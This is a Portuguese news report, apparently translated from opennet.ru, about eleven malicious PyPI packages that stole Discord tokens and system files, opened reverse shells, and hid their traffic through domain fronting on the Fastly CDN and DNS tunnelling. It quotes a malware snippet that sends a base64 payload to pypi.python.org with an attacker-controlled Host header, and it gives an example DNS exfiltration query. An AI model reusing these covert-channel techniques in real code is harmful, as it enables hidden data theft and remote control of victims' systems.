Foram identificadas bibliotecas maliciosas no catálogo PyPI que usam o PyPI CDN para ocultar o canal de comunicação

No diretório PyPI (Python Package Index), foram identificados 11 pacotes contendo código malicioso. Antes da identificação dos problemas, os pacotes já haviam sido baixados cerca de 38 mil vezes no total. Os pacotes maliciosos detectados se destacam pelo uso de métodos sofisticados para ocultar canais de comunicação com os servidores dos invasores.

  • importantpackage (6305 downloads), important-package (12897) - estabeleceu uma conexão com um servidor externo sob o pretexto de se conectar a pypi.python.org para fornecer acesso shell ao sistema (shell reverso) e usou o programa trevorc2 para ocultar o canal de comunicação.
  • pptest (10001), ipboards (946) - utilizou DNS como canal de comunicação para transmitir informações sobre o sistema (no primeiro pacote o nome do host, diretório de trabalho, IP interno e externo, no segundo - o nome do usuário e nome do host) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identificou o token de serviço Discord no sistema e o enviou para um host externo.
  • trrfab (287) - envia o identificador, nome do host e conteúdo de /etc/passwd, /etc/hosts, /home para o host externo.
  • 10Cent10 (490) - estabeleceu uma conexão shell reversa com um host externo.
  • yandex-yt (4183) - exibiu uma mensagem sobre o comprometimento do sistema e redirecionou para uma página com informações adicionais sobre outras ações emitidas por meio de nda.ya.ru (api.ya.cc).

Digno de nota é o método de acesso a hosts externos usado nos pacotes importantpackage e important-package, que usavam a rede de entrega de conteúdo Fastly usada no diretório PyPI para ocultar suas atividades. Na verdade, as solicitações foram enviadas ao servidor pypi.python.org (incluindo a especificação do nome python.org no SNI dentro da solicitação HTTPS), mas o cabeçalho HTTP “Host” incluía o nome do servidor controlado pelos invasores (seção XNUMX). forward.io.global.prod.fastly.net). A rede de entrega de conteúdo enviou uma solicitação semelhante ao servidor atacante, usando os parâmetros da conexão TLS para pypi.python.org ao transmitir dados.

A infraestrutura PyPI é alimentada pela rede de entrega de conteúdo Fastly, que usa o proxy transparente Varnish para armazenar solicitações típicas em cache e também usa processamento de certificado TLS no nível CDN, em vez de nos servidores finais, para encaminhar solicitações HTTPS por meio de um proxy. Independentemente do host de destino, as solicitações são enviadas ao proxy, que determina o host desejado usando o cabeçalho HTTP “Host”, e os nomes de domínio do host são vinculados aos endereços IP do balanceador de carga CDN que são típicos para todos os clientes Fastly.

O servidor dos invasores também se registra no CDN Fastly, que oferece planos gratuitos para todos e ainda permite o registro anônimo. Vale ressaltar que para enviar solicitações à vítima ao criar um “shell reverso”, também é utilizado um esquema, mas iniciado pelo host do invasor. Do lado de fora, a interação com o servidor dos invasores parece uma sessão legítima com o diretório PyPI, criptografada usando um certificado PyPI TLS. Uma técnica semelhante, conhecida como “fronting de domínio”, foi anteriormente usada ativamente para ocultar o nome do host ao contornar o bloqueio, usando a capacidade fornecida em algumas redes CDN para acessar HTTPS, indicando um host fictício no SNI e realmente transmitindo o nome do host solicitado no cabeçalho HTTP Host dentro de uma sessão TLS.

Foram identificadas bibliotecas maliciosas no catálogo PyPI que usam o PyPI CDN para ocultar o canal de comunicação

Para ocultar atividades maliciosas, o pacote TrevorC2 foi usado adicionalmente para tornar a interação com o servidor semelhante à navegação normal na web, por exemplo, solicitações maliciosas foram enviadas sob o pretexto de baixar a imagem “https://pypi.python.org/images/ guid=” com codificação de informações no parâmetro guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Os pacotes pptest e ipboards usaram uma abordagem diferente para ocultar a atividade da rede, baseada na codificação de informações úteis em consultas ao servidor DNS. O malware transmite informações realizando solicitações de DNS como “nu4timjagq4fimbuhe.example.com”, nas quais os dados transmitidos ao servidor de controle são codificados usando o formato base64 no nome do subdomínio. O invasor recebe essas mensagens controlando o servidor DNS do domínio example.com.

Fonte: opennet.ru

Adicionar um comentário